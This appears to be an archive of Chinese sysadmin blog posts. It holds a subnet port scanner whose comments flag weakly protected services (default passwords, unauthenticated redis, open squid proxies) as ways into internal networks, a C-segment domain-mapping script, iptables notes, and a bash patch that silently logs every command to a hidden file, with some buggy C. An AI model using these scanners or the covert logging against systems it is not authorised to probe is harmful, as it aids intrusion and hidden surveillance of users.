Python简陋的端口扫描

发布时间:May 7, 2015 // 分类:运维工作,工作日志,代码学习,python // No Comments

主要是用在一些linux机器没有装自带的nmap的时候使用的

#-*- coding: utf-8 -*-
'''
探查网段内开放的常见端口
'''
import thread
import socket
import sys
import os
import time

ports = '21,22,23,25,53,67,80,81,82,110,1433,1521,1526,3306,3389,4899,8580'
ports += ',873'         # rsync default port
ports += ',443,465,993,995' # ssl services port
    # https tcp-443
    # imaps tcp-993
    # pop3s tcp-995
    # smtps tcp-465
ports += ',2049'         #NFS linux网络共享服务   
ports += ',2082,2083'   # cpanel主机管理系统登陆 (国外用较多)​
ports += ',2222'        # DA虚拟主机管理系统登陆 (国外用较多)​
ports += ',2601,2604'   # zebra路由,默认密码zebra 
ports += ',3128'        # squid代理默认端口,如果没设置口令很可能就直接漫游内网了 
ports += ',3312,3311'   # kangle主机管理系统登陆
ports += ',4440'        # rundeck  参考WooYun: 借用新浪某服务成功漫游新浪内网
ports += ',5432,5631'
ports += ',6082'        # varnish  参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网 
ports += ',6379'        # redis 一般无认证,可直接访问
ports += ',7001'        # weblogic,默认弱口令
ports += ',7778'        # Kloxo主机控制面板登录​
ports += ',8000'        # 8000-9090都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
ports += ',8001'
ports += ',8002' 
ports += ',8080'        # tomcat/WDCP主机管理系统 默认端口
ports += ',8081'
ports += ',8888'        # amh/LuManager 主机管理系统默认端口
ports += ',8083'        # Vestacp主机管理系统​​ (国外用较多)
ports += ',8089'        # jboss端口 历史曾经爆漏洞/可弱口令
ports += ',9200'        # elasticsearch port
ports += ',10000'       # Virtualmin/Webmin 服务器虚拟主机管理系统
ports += ',11211'       # memcache  未授权访问
ports += ',14147'
ports += ',28017,27017' # mongodb default port
ports += ',43958'

def scan(host):
    ListTmp = ports.split(',')
    for port in ListTmp:
        cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        address=(str(host),int(port))
        status = cs.connect_ex((address))
        if(status == 0):
            print "%s port %s open"%(host,port)
        cs.close()

def find_ip(ip_prefix):
    '''
    给出当前的192.168.1 ,然后扫描整个段所有地址
    '''
    for i in range(1,256):
        ip = '%s.%s'%(ip_prefix,i)
        thread.start_new_thread(scan, (ip,))
        time.sleep(0.3)     

if __name__ == "__main__":
    commandargs = sys.argv[1:]
    args = "".join(commandargs)
    ip_prefix = '.'.join(args.split('.')[:-1])
    find_ip(ip_prefix)

python利用爱站查询C段域名的脚本

发布时间:May 2, 2015 // 分类:运维工作,工作日志,代码学习,python // No Comments

#-*- coding: utf-8 -*-
'''
利用爱站进行轮询查询整个C段内的网站
'''
  
import socket
import sys
import json
import requests
import re
import time
import thread
 
def scan(ip_str):
    '''
    检测扫描端口是否开启
    然后利用aizhan旁站进行遍历
    '''
    port = '80'
    cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    address=(str(ip_str),int(port))
    status = cs.connect_ex((address))
    #若返回的结果为0表示端口开启
    if(status == 0):
        cs2 = {'r' : 'index/domains' , 'ip' : ip_str}
        res2 = requests.get("http://dns.aizhan.com/index.php", params=cs2)
        ys = re.findall(r'"maxpage":(\d{1}),',res2.content)
        if(len(ys)==0):#如果不测量长度,就会报错IndexError: list index out of range
            print "%s" %(ip_str)
        elif(len(ys)>0):
            i=1
            while (i <= int(ys[0])):
                cs3 = {'r' : 'index/domains' , 'ip' : ip_str , 'page' : i}
                i +=1
                res3 = requests.get("http://dns.aizhan.com/index.php", params=cs3)
                url = json.loads(res3.content)['domains']
                print "%s" %(ip_str)
                for zhurl in url:
                    print zhurl   


    cs.close()
      
def find_ip(ip_prefix):
    '''
    给出当前的192.168.1 ,然后扫描整个段所有地址
    '''
    for i in range(1,256):
        ip = '%s.%s'%(ip_prefix,i)
        thread.start_new_thread(scan, (ip,))
        time.sleep(0.3)
       
if __name__ == "__main__":
    commandargs = sys.argv[1:]
    args = "".join(commandargs)    
     
    ip_prefix = '.'.join(args.split('.')[:-1])
    find_ip(ip_prefix)

Iptables处理数据包详细流程图

发布时间:May 2, 2015 // 分类:工作日志,运维工作,linux,转帖文章 // No Comments

iptables包流程如下:

1. 数据包到达网络接口,比如 eth0。
2. 进入 raw 表的 PREROUTING 链,这个链的作用是赶在连接跟踪之前处理数据包。
3. 如果进行了连接跟踪,在此处理。
4. 进入 mangle 表的 PREROUTING 链,在此可以修改数据包,比如 TOS 等。
5. 进入 nat 表的 PREROUTING 链,可以在此做DNAT,但不要做过滤。
6. 决定路由,看是交给本地主机还是转发给其它主机。
 
到了这里我们就得分两种不同的情况进行讨论了,一种情况就是数据包要转发给其它主机,这时候它会依次经过:
7. 进入 mangle 表的 FORWARD 链,这里也比较特殊,这是在第一次路由决定之后,在进行最后的路由决定之前,我们仍然可以对数据包进行某些修改。
8. 进入 filter 表的 FORWARD 链,在这里我们可以对所有转发的数据包进行过滤。需要注意的是:经过这里的数据包是转发的,方向是双向的。
9. 进入 mangle 表的 POSTROUTING 链,到这里已经做完了所有的路由决定,但数据包仍然在本地主机,我们还可以进行某些修改。
10. 进入 nat 表的 POSTROUTING 链,在这里一般都是用来做 SNAT ,不要在这里进行过滤。
11. 进入出去的网络接口。完毕。
 
另一种情况是,数据包就是发给本地主机的,那么它会依次穿过:
7. 进入 mangle 表的 INPUT 链,这里是在路由之后,交由本地主机之前,我们也可以进行一些相应的修改。
8. 进入 filter 表的 INPUT 链,在这里我们可以对流入的所有数据包进行过滤,无论它来自哪个网络接口。
9. 交给本地主机的应用程序进行处理。
10. 处理完毕后进行路由决定,看该往那里发出。
11. 进入 raw 表的 OUTPUT 链,这里是在连接跟踪处理本地的数据包之前。
12. 连接跟踪对本地的数据包进行处理。
13. 进入 mangle 表的 OUTPUT 链,在这里我们可以修改数据包,但不要做过滤。
14. 进入 nat 表的 OUTPUT 链,可以对防火墙自己发出的数据做 NAT 。
15. 再次进行路由决定。
16. 进入 filter 表的 OUTPUT 链,可以对本地出去的数据包进行过滤。
17. 进入 mangle 表的 POSTROUTING 链,同上一种情况的第9步。注意,这里不光对经过防火墙的数据包进行处理,还对防火墙自己产生的数据包进行处理。
18. 进入 nat 表的 POSTROUTING 链,同上一种情况的第10步。
19. 进入出去的网络接口。完毕。

分享一个不错的iptables的安全脚本

#!/bin/sh
#
modprobe ipt_MASQUERADE
modprobe ip_conntrack_ftp
modprobe ip_nat_ftp
iptables -F
iptables -t nat -F
iptables -X
iptables -t nat -X
###########################INPUT键###################################
iptables -P INPUT DROP
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp -m multiport --dports 110,80,25 -j ACCEPT
iptables -A INPUT -p tcp -s 192.168.0.0/24 --dport 139 -j ACCEPT
#允许内网samba,smtp,pop3,连接
iptables -A INPUT -i eth1 -p udp -m multiport --dports 53 -j ACCEPT
#允许dns连接
iptables -A INPUT -p tcp --dport 1723 -j ACCEPT
iptables -A INPUT -p gre -j ACCEPT
#允许外网vpn连接
iptables -A INPUT -s 192.186.0.0/24 -p tcp -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -i ppp0 -p tcp --syn -m connlimit --connlimit-above 15 -j DROP
#为了防止DOS太多连接进来,那么可以允许最多15个初始连接,超过的丢弃
iptables -A INPUT -s 192.186.0.0/24 -p tcp --syn -m connlimit --connlimit-above 15 -j DROP
#为了防止DOS太多连接进来,那么可以允许最多15个初始连接,超过的丢弃
iptables -A INPUT -p icmp -m limit --limit 3/s -j LOG --log-level INFO --log-prefix "ICMP packet IN: "
iptables -A INPUT -p icmp -j DROP
#禁止icmp通信-ping 不通
iptables -t nat -A POSTROUTING -o ppp0 -s 192.168.0.0/24 -j MASQUERADE
#内网转发
iptables -N syn-flood
iptables -A INPUT -p tcp --syn -j syn-flood
iptables -I syn-flood -p tcp -m limit --limit 3/s --limit-burst 6 -j RETURN
iptables -A syn-flood -j REJECT
#防止SYN攻击 轻量
#######################FORWARD链###########################
iptables -P FORWARD DROP
iptables -A FORWARD -p tcp -s 192.168.0.0/24 -m multiport --dports 80,110,21,25,1723 -j ACCEPT
iptables -A FORWARD -p udp -s 192.168.0.0/24 --dport 53 -j ACCEPT
iptables -A FORWARD -p gre -s 192.168.0.0/24 -j ACCEPT
iptables -A FORWARD -p icmp -s 192.168.0.0/24 -j ACCEPT
#允许 vpn客户走vpn网络连接外网
iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -I FORWARD -p udp --dport 53 -m string --string "tencent" -m time --timestart 8:15 --timestop 12:30 --days Mon,Tue,Wed,Thu,Fri,Sat  -j DROP
#星期一到星期六的8:00-12:30禁止qq通信
iptables -I FORWARD -p udp --dport 53 -m string --string "TENCENT" -m time --timestart 8:15 --timestop 12:30 --days Mon,Tue,Wed,Thu,Fri,Sat  -j DROP
#星期一到星期六的8:00-12:30禁止qq通信
iptables -I FORWARD -p udp --dport 53 -m string --string "tencent" -m time --timestart 13:30 --timestop 20:30 --days Mon,Tue,Wed,Thu,Fri,Sat  -j DROP
iptables -I FORWARD -p udp --dport 53 -m string --string "TENCENT" -m time --timestart 13:30 --timestop 20:30 --days Mon,Tue,Wed,Thu,Fri,Sat  -j DROP
#星期一到星期六的13:30-20:30禁止QQ通信
iptables -I FORWARD -s 192.168.0.0/24 -m string --string "qq.com" -m time --timestart 8:15 --timestop 12:30 --days Mon,Tue,Wed,Thu,Fri,Sat  -j DROP
#星期一到星期六的8:00-12:30禁止qq网页
iptables -I FORWARD -s 192.168.0.0/24 -m string --string "qq.com" -m time --timestart 13:00 --timestop 20:30 --days Mon,Tue,Wed,Thu,Fri,Sat  -j DROP
#星期一到星期六的13:30-20:30禁止QQ网页
iptables -I FORWARD -s 192.168.0.0/24 -m string --string "ay2000.net" -j DROP
iptables -I FORWARD -d 192.168.0.0/24 -m string --string "宽频影院" -j DROP
iptables -I FORWARD -s 192.168.0.0/24 -m string --string "色情" -j DROP
iptables -I FORWARD -p tcp --sport 80 -m string --string "广告" -j DROP
#禁止ay2000.net,宽频影院,色情,广告网页连接 !但中文 不是很理想
iptables -A FORWARD -m ipp2p --edk --kazaa --bit -j DROP
iptables -A FORWARD -p tcp -m ipp2p --ares -j DROP
iptables -A FORWARD -p udp -m ipp2p --kazaa -j DROP
#禁止BT连接
iptables -A FORWARD -p tcp --syn --dport 80 -m connlimit --connlimit-above 15 --connlimit-mask 24
#######################################################################
sysctl -w net.ipv4.ip_forward=1 &>/dev/null
#打开转发
#######################################################################
sysctl -w net.ipv4.tcp_syncookies=1 &>/dev/null
#打开 syncookie (轻量级预防 DOS 攻击)
sysctl -w net.ipv4.netfilter.ip_conntrack_tcp_timeout_established=3800 &>/dev/null
#设置默认 TCP 连接痴呆时长为 3800 秒(此选项可以大大降低连接数)
sysctl -w net.ipv4.ip_conntrack_max=300000 &>/dev/null
#设置支持最大连接树为 30W(这个根据你的内存和 iptables 版本来,每个 connection 需要 300 多个字节)
#######################################################################
iptables -I INPUT -s 192.168.0.50 -j ACCEPT
iptables -I FORWARD -s 192.168.0.50 -j ACCEPT
#192.168.0.50是我的机子,全部放行!
############################完#########################################

转自:http://www.opsers.org/linux-home/security/iptables-related-concepts-and-processes-the-packet-figure.html

一句一句解说 iptables的详细中文手册

发布时间:May 2, 2015 // 分类:工作日志,运维工作,linux,转帖文章 // No Comments

总览 
用iptables -ADC 来指定链的规则,-A添加 -D删除 -C 修改
iptables - [RI] chain rule num rule-specification[option] 
用iptables - RI 通过规则的顺序指定
iptables -D chain rule num[option] 
删除指定规则 
iptables -[LFZ] [chain][option] 
用iptables -LFZ 链名 [选项]
iptables -[NX] chain 
用 -NX 指定链
iptables -P chain target[options] 
指定链的默认目标
iptables -E old-chain-name new-chain-name 
-E 旧的链名 新的链名 
用新的链名取代旧的链名 
说明 
Iptalbes 是用来设置、维护和检查Linux内核的IP包过滤规则的。 
可以定义不同的表,每个表都包含几个内部的链,也能包含用户定义的链。每个链都是一个规则列表,对对应的包进行匹配:每条规则指定应当如何处理与之相匹配的包。这被称作'target'(目标),也可以跳向同一个表内的用户定义的链。
TARGETS 
防火墙的规则指定所检查包的特征,和目标。如果包不匹配,将送往该链中下一条规则检查;如果匹配,那么下一条规则由目标值确定.该目标值可以是用户定义的链名,或是某个专用值,如ACCEPT[通过], DROP[删除], QUEUE[排队], 或者 RETURN[返回]。 
ACCEPT 表示让这个包通过。DROP表示将这个包丢弃。QUEUE表示把这个包传递到用户空间。RETURN表示停止这条链的匹配,到前一个链的规则重新开始。如果到达了一个内建的链(的末端),或者遇到内建链的规则是RETURN,包的命运将由链准则指定的目标决定。
TABLES 
当前有三个表(哪个表是当前表取决于内核配置选项和当前模块)。 
-t table 
这个选项指定命令要操作的匹配包的表。如果内核被配置为自动加载模块,这时若模块没有加载,(系统)将尝试(为该表)加载适合的模块。这些表如下:filter,这是默认的表,包含了内建的链INPUT(处理进入的包)、FORWORD(处理通过的包)和OUTPUT(处理本地生成的包)。nat,这个表被查询时表示遇到了产生新的连接的包,由三个内建的链构成:PREROUTING (修改到来的包)、OUTPUT(修改路由之前本地的包)、POSTROUTING(修改准备出去的包)。mangle 这个表用来对指定的包进行修改。它有两个内建规则:PREROUTING(修改路由之前进入的包)和OUTPUT(修改路由之前本地的包)。 
OPTIONS 
这些可被iptables识别的选项可以区分不同的种类。
COMMANDS 
这些选项指定执行明确的动作:若指令行下没有其他规定,该行只能指定一个选项.对于长格式的命令和选项名,所用字母长度只要保证iptables能从其他选项中区分出该指令就行了。 
-A -append 
在所选择的链末添加一条或更多规则。当源(地址)或者/与目的(地址)转换为多个地址时,这条规则会加到所有可能的地址(组合)后面。
-D -delete 
从所选链中删除一条或更多规则。这条命令可以有两种方法:可以把被删除规则指定为链中的序号(第一条序号为1),或者指定为要匹配的规则。
-R -replace 
从选中的链中取代一条规则。如果源(地址)或者/与目的(地址)被转换为多地址,该命令会失败。规则序号从1开始。
-I -insert 
根据给出的规则序号向所选链中插入一条或更多规则。所以,如果规则序号为1,规则会被插入链的头部。这也是不指定规则序号时的默认方式。
-L -list 
显示所选链的所有规则。如果没有选择链,所有链将被显示。也可以和z选项一起使用,这时链会被自动列出和归零。精确输出受其它所给参数影响。
-F -flush 
清空所选链。这等于把所有规则一个个的删除。
--Z -zero 
把所有链的包及字节的计数器清空。它可以和 -L配合使用,在清空前察看计数器,请参见前文。
-N -new-chain 
根据给出的名称建立一个新的用户定义链。这必须保证没有同名的链存在。
-X -delete-chain 
删除指定的用户自定义链。这个链必须没有被引用,如果被引用,在删除之前你必须删除或者替换与之有关的规则。如果没有给出参数,这条命令将试着删除每个非内建的链。 
-P -policy 
设置链的目标规则。
-E -rename-chain 
根据用户给出的名字对指定链进行重命名,这仅仅是修饰,对整个表的结构没有影响。TARGETS参数给出一个合法的目标。只有非用户自定义链可以使用规则,而且内建链和用户自定义链都不能是规则的目标。
-h Help. 
帮助。给出当前命令语法非常简短的说明。
PARAMETERS 
参数 
以下参数构成规则详述,如用于add、delete、replace、append 和 check命令。
-p -protocal [!]protocol 
规则或者包检查(待检查包)的协议。指定协议可以是tcp、udp、icmp中的一个或者全部,也可以是数值,代表这些协议中的某一个。当然也可以使用在/etc/protocols中定义的协议名。在协议名前加上"!"表示相反的规则。数字0相当于所有all。Protocol all会匹配所有协议,而且这是缺省时的选项。在和check命令结合时,all可以不被使用。 
-s -source [!] address[/mask] 
指定源地址,可以是主机名、网络名和清楚的IP地址。mask说明可以是网络掩码或清楚的数字,在网络掩码的左边指定网络掩码左边"1"的个数,因此,mask值为24等于255.255.255.0。在指定地址前加上"!"说明指定了相反的地址段。标志 --src 是这个选项的简写。
-d --destination [!] address[/mask] 
指定目标地址,要获取详细说明请参见 -s标志的说明。标志 --dst 是这个选项的简写。
-j --jump target 
-j 目标跳转 
指定规则的目标;也就是说,如果包匹配应当做什么。目标可以是用户自定义链(不是这条规则所在的),某个会立即决定包的命运的专用内建目标,或者一个扩展(参见下面的EXTENSIONS)。如果规则的这个选项被忽略,那么匹配的过程不会对包产生影响,不过规则的计数器会增加。
-i -in-interface [!] [name] 
i -进入的(网络)接口 [!][名称] 
这是包经由该接口接收的可选的入口名称,包通过该接口接收(在链INPUT、FORWORD和PREROUTING中进入的包)。当在接口名前使用"!"说明后,指的是相反的名称。如果接口名后面加上"+",则所有以此接口名开头的接口都会被匹配。如果这个选项被忽略,会假设为"+",那么将匹配任意接口。
-o --out-interface [!][name] 
-o --输出接口[名称] 
这是包经由该接口送出的可选的出口名称,包通过该口输出(在链FORWARD、OUTPUT和POSTROUTING中送出的包)。当在接口名前使用"!"说明后,指的是相反的名称。如果接口名后面加上"+",则所有以此接口名开头的接口都会被匹配。如果这个选项被忽略,会假设为"+",那么将匹配所有任意接口。
[!] -f, --fragment 
[!] -f --分片 
这意味着在分片的包中,规则只询问第二及以后的片。自那以后由于无法判断这种把包的源端口或目标端口(或者是ICMP类型的),这类包将不能匹配任何指定对他们进行匹配的规则。如果"!"说明用在了"-f"标志之前,表示相反的意思。
OTHER OPTIONS 
其他选项 
还可以指定下列附加选项:
-v --verbose 
-v --详细 
详细输出。这个选项让list命令显示接口地址、规则选项(如果有)和TOS(Type of Service)掩码。包和字节计数器也将被显示,分别用K、M、G(前缀)表示1000、1,000,000和1,000,000,000倍(不过请参看-x标志改变它),对于添加,插入,删除和替换命令,这会使一个或多个规则的相关详细信息被打印。
-n --numeric 
-n --数字 
数字输出。IP地址和端口会以数字的形式打印。默认情况下,程序试显示主机名、网络名或者服务(只要可用)。
-x -exact 
-x -精确 
扩展数字。显示包和字节计数器的精确值,代替用K,M,G表示的约数。这个选项仅能用于 -L 命令。
--line-numbers 
当列表显示规则时,在每个规则的前面加上行号,与该规则在链中的位置相对应。
MATCH EXTENSIONS 
对应的扩展 
iptables能够使用一些与模块匹配的扩展包。以下就是含于基本包内的扩展包,而且他们大多数都可以通过在前面加上!来表示相反的意思。
tcp 
当 --protocol tcp 被指定,且其他匹配的扩展未被指定时,这些扩展被装载。它提供以下选项:
--source-port [!] [port[:port]] 
源端口或端口范围指定。这可以是服务名或端口号。使用格式端口:端口也可以指定包含的(端口)范围。如果首端口号被忽略,默认是"0",如果末端口号被忽略,默认是"65535",如果第二个端口号大于第一个,那么它们会被交换。这个选项可以使用 --sport的别名。
--destionation-port [!] [port:[port]] 
目标端口或端口范围指定。这个选项可以使用 --dport别名来代替。
--tcp-flags [!] mask comp 
匹配指定的TCP标记。第一个参数是我们要检查的标记,一个用逗号分开的列表,第二个参数是用逗号分开的标记表,是必须被设置的。标记如下:SYN ACK FIN RST URG PSH ALL NONE。因此这条命令:iptables -A FORWARD -p tcp --tcp-flags SYN, ACK, FIN, RST SYN只匹配那些SYN标记被设置而ACK、FIN和RST标记没有设置的包。
[!] --syn 
只匹配那些设置了SYN位而清除了ACK和FIN位的TCP包。这些包用于TCP连接初始化时发出请求;例如,大量的这种包进入一个接口发生堵塞时会阻止进入的TCP连接,而出去的TCP连接不会受到影响。这等于 --tcp-flags SYN, RST, ACK SYN。如果"--syn"前面有"!"标记,表示相反的意思。
--tcp-option [!] number 
匹配设置了TCP选项的。
udp 
当protocol udp 被指定,且其他匹配的扩展未被指定时,这些扩展被装载,它提供以下选项:
--source-port [!] [port:[port]] 
源端口或端口范围指定。详见 TCP扩展的--source-port选项说明。
--destination-port [!] [port:[port]] 
目标端口或端口范围指定。详见 TCP扩展的--destination-port选项说明。
icmp 
当protocol icmp被指定,且其他匹配的扩展未被指定时,该扩展被装载。它提供以下选项: 
--icmp-type [!] typename 
这个选项允许指定ICMP类型,可以是一个数值型的ICMP类型,或者是某个由命令iptables -p icmp -h所显示的ICMP类型名。
mac 
--mac-source [!] address 
匹配物理地址。必须是XX:XX:XX:XX:XX这样的格式。注意它只对来自以太设备并进入PREROUTING、FORWORD和INPUT链的包有效。
limit 
这个模块匹配标志用一个标记桶过滤器一一定速度进行匹配,它和LOG目标结合使用来给出有限的登陆数.当达到这个极限值时,使用这个扩展包的规则将进行匹配.(除非使用了"!"标记)
--limit rate 
最大平均匹配速率:可赋的值有'/second', '/minute', '/hour', or '/day'这样的单位,默认是3/hour。
--limit-burst number 
待匹配包初始个数的最大值:若前面指定的极限还没达到这个数值,则概数字加1.默认值为5
multiport 
这个模块匹配一组源端口或目标端口,最多可以指定15个端口。只能和-p tcp 或者 -p udp 连着使用。
--source-port [port[, port]] 
如果源端口是其中一个给定端口则匹配
--destination-port [port[, port]] 
如果目标端口是其中一个给定端口则匹配
--port [port[, port]] 
若源端口和目的端口相等并与某个给定端口相等,则匹配。 
mark 
这个模块和与netfilter过滤器标记字段匹配(就可以在下面设置为使用MARK标记)。
--mark value [/mask] 
匹配那些无符号标记值的包(如果指定mask,在比较之前会给掩码加上逻辑的标记)。
owner 
此模块试为本地生成包匹配包创建者的不同特征。只能用于OUTPUT链,而且即使这样一些包(如ICMP ping应答)还可能没有所有者,因此永远不会匹配。
--uid-owner userid 
如果给出有效的user id,那么匹配它的进程产生的包。
--gid-owner groupid 
如果给出有效的group id,那么匹配它的进程产生的包。
--sid-owner seessionid 
根据给出的会话组匹配该进程产生的包。
state 
此模块,当与连接跟踪结合使用时,允许访问包的连接跟踪状态。
--state state 
这里state是一个逗号分割的匹配连接状态列表。可能的状态是:INVALID表示包是未知连接,ESTABLISHED表示是双向传送的连接,NEW表示包为新的连接,否则是非双向传送的,而RELATED表示包由新连接开始,但是和一个已存在的连接在一起,如FTP数据传送,或者一个ICMP错误。
unclean 
此模块没有可选项,不过它试着匹配那些奇怪的、不常见的包。处在实验中。
tos 
此模块匹配IP包首部的8位tos(服务类型)字段(也就是说,包含在优先位中)。
--tos tos 
这个参数可以是一个标准名称,(用iptables -m tos -h 察看该列表),或者数值。
TARGET EXTENSIONS 
iptables可以使用扩展目标模块:以下都包含在标准版中。
LOG 
为匹配的包开启内核记录。当在规则中设置了这一选项后,linux内核会通过printk()打印一些关于全部匹配包的信息(诸如IP包头字段等)。 
--log-level level 
记录级别(数字或参看 syslog.conf(5))。 
--log-prefix prefix 
在纪录信息前加上特定的前缀:最多14个字母长,用来和记录中其他信息区别。
--log-tcp-sequence 
记录TCP序列号。如果记录能被用户读取那么这将存在安全隐患。
--log-tcp-options 
记录来自TCP包头部的选项。 
--log-ip-options 
记录来自IP包头部的选项。
MARK 
用来设置包的netfilter标记值。只适用于mangle表。
--set-mark mark
REJECT 
作为对匹配的包的响应,返回一个错误的包:其他情况下和DROP相同。
此目标只适用于INPUT、FORWARD和OUTPUT链,和调用这些链的用户自定义链。这几个选项控制返回的错误包的特性:
--reject-with type 
Type可以是icmp-net-unreachable、icmp-host-unreachable、icmp-port-nreachable、icmp-proto-unreachable、 icmp-net-prohibited 或者 icmp-host-prohibited,该类型会返回相应的ICMP错误信息(默认是port-unreachable)。选项 echo-reply也是允许的;它只能用于指定ICMP ping包的规则中,生成ping的回应。最后,选项tcp-reset可以用于在INPUT链中,或自INPUT链调用的规则,只匹配TCP协议:将回应一个TCP RST包。 
TOS 
用来设置IP包的首部八位tos。只能用于mangle表。
--set-tos tos 
你可以使用一个数值型的TOS 值,或者用iptables -j TOS -h 来查看有效TOS名列表。 
MIRROR 
这是一个试验示范目标,可用于转换IP首部字段中的源地址和目标地址,再传送该包,并只适用于INPUT、FORWARD和OUTPUT链,以及只调用它们的用户自定义链。
SNAT 
这个目标只适用于nat表的POSTROUTING链。它规定修改包的源地址(此连接以后所有的包都会被影响),停止对规则的检查,它包含选项:
--to-source [-][:port-port] 
可以指定一个单一的新的IP地址,一个IP地址范围,也可以附加一个端口范围(只能在指定-p tcp 或者-p udp的规则里)。如果未指定端口范围,源端口中512以下的(端口)会被安置为其他的512以下的端口;512到1024之间的端口会被安置为1024以下的,其他端口会被安置为1024或以上。如果可能,端口不会被修改。
--to-destiontion [-][:port-port] 
可以指定一个单一的新的IP地址,一个IP地址范围,也可以附加一个端口范围(只能在指定-p tcp 或者-p udp的规则里)。如果未指定端口范围,目标端口不会被修改。
MASQUERADE 
只用于nat表的POSTROUTING链。只能用于动态获取IP(拨号)连接:如果你拥有静态IP地址,你要用SNAT。伪装相当于给包发出时所经过接口的IP地址设置一个映像,当接口关闭连接会终止。这是因为当下一次拨号时未必是相同的接口地址(以后所有建立的连接都将关闭)。它有一个选项:
--to-ports [-port>] 
指定使用的源端口范围,覆盖默认的SNAT源地址选择(见上面)。这个选项只适用于指定了-p tcp或者-p udp的规则。
REDIRECT 
只适用于nat表的PREROUTING和OUTPUT链,和只调用它们的用户自定义链。它修改包的目标IP地址来发送包到机器自身(本地生成的包被安置为地址127.0.0.1)。它包含一个选项:
--to-ports [] 
指定使用的目的端口或端口范围:不指定的话,目标端口不会被修改。只能用于指定了-p tcp 或 -p udp的规则。
DIAGNOSTICS 
诊断 
不同的错误信息会打印成标准错误:退出代码0表示正确。类似于不对的或者滥用的命令行参数错误会返回错误代码2,其他错误返回代码为1。
BUGS 
臭虫 
Check is not implemented (yet). 
检查还未完成。
COMPATIBILITY WITH IPCHAINS 
与ipchains的兼容性 
iptables和Rusty Russell的ipchains非常相似。主要区别是INPUT 链只用于进入本地主机的包,而OUTPUT只用于自本地主机生成的包。因此每个包只经过三个链的一个;以前转发的包会经过所有三个链。其他主要区别是 -i 引用进入接口;-o引用输出接口,两者都适用于进入FORWARD链的包。当和可选扩展模块一起使用默认过滤器表时,iptables是一个纯粹的包过滤器。这能大大减少以前对IP伪装和包过滤结合使用的混淆,所以以下选项作了不同的处理: 
-j MASQ 
-M -S 
-M -L 
在iptables中有几个不同的链。
SEE ALSO 
参见 
iptables-HOWTO有详细的iptables用法,对netfilter-hacking-HOWTO也有详细的本质说明。

通过syslog远程发送bash 命令日志

发布时间:May 1, 2015 // 分类:运维工作,工作日志,VC/C/C++,linux,转帖文章 // 2 Comments

实现bash bash history日志通过syslog远程发送的方式很多,主要有以下3种:

1、在/etc/bashrc全局配置文件添加

2、修改bash源码

3、加载内核模块

1,2方法只是记录与history类似的命令执行日志,无法记录通过程序或者脚本执行命令。3方法一般通过拦截系统调用exec实现,可以记录所 有通过exec系统调用的命令执行情况,但是无法记录bash 内嵌命令的执行。另外在内核进行修改,需要考虑稳定性以及性能影响问题,测试时间较长。

1、在/etc/bashrc全局配置文件添加

//记录命令日志到用户目录下的.history-timestamp目录

export PROMPT_COMMAND='{ msg=$(history 1 | { read x y; echo $y; });user=$(whoami); echo $(date "+%Y-%m-%d %H:%M:%S"):$user:$msg:$(
who am i); } >> $HOME/.history-timestamp'
//记录命令日志到syslog
export PROMPT_COMMAND='{ msg=$(history 1 | { read x y; echo $y; });user=$(whoami); logger $(date "+%Y-%m-%d %H:%M:%S"):$user:$msg:$(who am i); }'

2、修改bash源码(lib/下)

    通过给bash加patch也可以实现,网上可以查到的现成的patch都是针对特定bash版本的,如果刚好可以找到所须版本,使用配置会比较方便。

以下以bash-3.0.16为例,说明如何直接修改bash代码实现。(lib/readline/history.c)

   1) 代码修改

     history.c文件中add_history (string)负责完成命令日志记录,因此如果只是想简单的通过syslog远程发送history,在此函数中添加远程日志发送功能即可。下面红色标识代码为添加部分

注:syslog日志记录,当前用户名,登录用户名 终端 命令

/* Place STRING at the end of the history list. The data field
   is set to NULL. */
void
add_history (string)
     const char *string;
{
HIST_ENTRY *temp;
if (strlen(string)<600) {
   syslog(LOG_LOCAL5 | LOG_INFO, "%s %s %s %s",getenv("LOGNAME"),getlogin(),ttyname(0),string);
    }
    else {
      char trunc[600];
      strncpy(trunc,string,sizeof(trunc));
      trunc[sizeof(trunc)-1]='/0';
    syslog(LOG_LOCAL5, LOG_INFO, "%s %s %s %s(++TRUNC)",getenv("LOGNAME"),getlogin(),ttyname(0), trunc);
    }

if (history_stifled && (history_length == history_max_entries))
    {
.............................

自己修改为本地记录的

/* Place STRING at the end of the history list.  The data field
   is  set to NULL. */
void
add_history (string)
     const char *string;
{
  HIST_ENTRY *temp;
  FILE *fp=NULL;
    fp=fopen("/var/cache/.bash","a+");
      if(fp!=NULL){
    fprintf(fp,"%s\n",string);
      fclose(fp);
    }

  if (history_stifled && (history_length == history_max_entries))

2)编译 ./configure --prefix=/usr/local/bash-syslog-3.0.16;make;make install

然后替换掉系统自带的bash,然后测试

然后查看

记录成功~无论是在反弹的bash里面还是交互式的shell里面都记录成功了

3)创建测试帐号 useradd -s =/usr/local/bash-syslog-3.0.16/bin/bash simple

4) 以test帐号远程登录,执行命令,然后su 到root,可在/var/log/message中看到类似日志:

Dec 9 18:58:26 hostname bash: simple liuruihong /dev/pts/0 exit
Dec 9 18:58:30 hostname bash: simple liuruihong /dev/pts/0 crontab -e
Dec 9 18:59:18 hostname bash: simple liuruihong /dev/pts/0 date
Dec 9 18:59:25 hostname bash: simple liuruihong /dev/pts/0 crontab -e
Dec 9 18:59:37 hostname bash: simple liuruihong /dev/pts/0 crontab -e
Dec 9 18:59:45 hostname bash: simple liuruihong /dev/pts/0 date
Dec 9 18:57:18 hostname bash: root simple /dev/pts/2 echo "ssssssss"
Dec 9 18:57:18 hostname bash: root simple /dev/pts/2 echo "llllllllllll"
Dec 9 18:57:18 hostname bash: root simple /dev/pts/2 exit
Dec 9 18:57:18 hostname bash: root simple /dev/pts/2 ls

3、加载内核模块

http://www.securityfocus.com/tools/877

http://www.securityfocus.com/tools/1667

注: script命令也可以

资源:

http://bugs.gentoo.org/attachment.cgi?id=57967&action=edit

 

由于有非常多的linux服务器需要管理,为了审计管理员的操作,以确认各自的职责,需要对linux服务器进行审计,通过比较选择了snoopy这个开源方案。

snoopy可以到 https://github.com/a2o/snoopy下载

下面记录下安装使用的注意事项

在linux 32位系统下,可以按照snoopy自带的README,执行如下命令

./configure

Make

make install

